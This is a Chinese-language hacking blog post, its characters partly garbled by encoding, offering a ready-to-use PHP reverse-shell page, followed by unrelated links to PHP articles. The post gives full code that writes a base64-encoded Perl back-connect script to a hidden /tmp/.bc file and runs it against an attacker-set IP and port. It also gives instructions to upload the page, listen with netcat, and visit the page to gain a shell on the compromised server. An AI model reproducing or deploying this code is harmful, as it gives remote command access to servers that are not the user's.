php反彈shell實(shí)現(xiàn)代碼
非常無(wú) 奈,沒(méi)想 到什么好的辦法,后來(lái)靈光一閃。放一個(gè)php頁(yè)面,里面 可以直接彈回來(lái)shell,何況在console下面操作比webshell方便的多,也不會(huì)出現(xiàn)超時(shí)之類的情況。
因?yàn)槲也辉趺炊畃hp,于是就找了猥/瑣 的諾諾和小雨修改了一下代碼,反彈代碼是從phpspy2008里面提取的,但是不能直接用,需要修改成一個(gè)單獨(dú)的php文件。上傳之后,本地監(jiān)聽一個(gè)端 口,在代碼里設(shè)置好反彈IP和端口,然后直接訪問(wèn),就會(huì)彈回來(lái)一個(gè)shell。
聲明,沒(méi)啥技術(shù)含量,主要是用來(lái)方便。這樣每次可以直接訪問(wèn)這個(gè)php頁(yè)面,直接彈回來(lái)shell,不用做其他繁瑣的操作,下面貼出來(lái)已經(jīng)修改好的代碼
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
先在本地執(zhí)行 nc -l -vv -p port 然后訪問(wèn)這個(gè)php頁(yè)面 http://www.site.com/fu ck.php 本地就會(huì)得到一個(gè)反彈的shell。
僅限猥/瑣流使用,如果有什么好的猥/瑣的方法,請(qǐng)不吝賜教
相關(guān)文章
PHP7 preg_replace 出錯(cuò)及解決辦法
在本篇文章里小編給大家整理的是一篇關(guān)于PHP7 preg_replace 出錯(cuò)及解決辦法,有需要的朋友們可以跟著學(xué)習(xí)下。2021-12-12PHP操作MongoDB GridFS 存儲(chǔ)文件的詳解
本篇文章是對(duì)PHP操作MongoDB GridFS存儲(chǔ)文件進(jìn)行了詳細(xì)的分析介紹,需要的朋友參考下2013-06-06php實(shí)現(xiàn)的pdo公共類定義與用法示例
這篇文章主要介紹了php實(shí)現(xiàn)的pdo公共類定義與用法,結(jié)合具體實(shí)例形式分析了php實(shí)現(xiàn)的pdo操作類定義及查詢、插入等使用技巧,需要的朋友可以參考下2017-07-07Session保存到數(shù)據(jù)庫(kù)的php類分享
Session保存到數(shù)據(jù)庫(kù)的php類,需要的朋友可以參考下。2011-10-10echo, print, printf 和 sprintf 區(qū)別
echo, print, printf 和 sprintf 區(qū)別...2006-12-12PHP實(shí)現(xiàn)支持SSL連接的SMTP郵件發(fā)送類
這篇文章主要介紹了PHP實(shí)現(xiàn)支持SSL連接的SMTP郵件發(fā)送類,實(shí)例分析了php實(shí)現(xiàn)smtp郵件發(fā)送類的原理與技巧,以及支持SSL連接的方法,需要的朋友可以參考下2015-03-03php提交過(guò)來(lái)的數(shù)據(jù)生成為txt文件
這篇文章主要介紹了php提交過(guò)來(lái)的數(shù)據(jù)生成為txt文件的相關(guān)資料,具有參考價(jià)值,需要的朋友可以參考下2016-04-04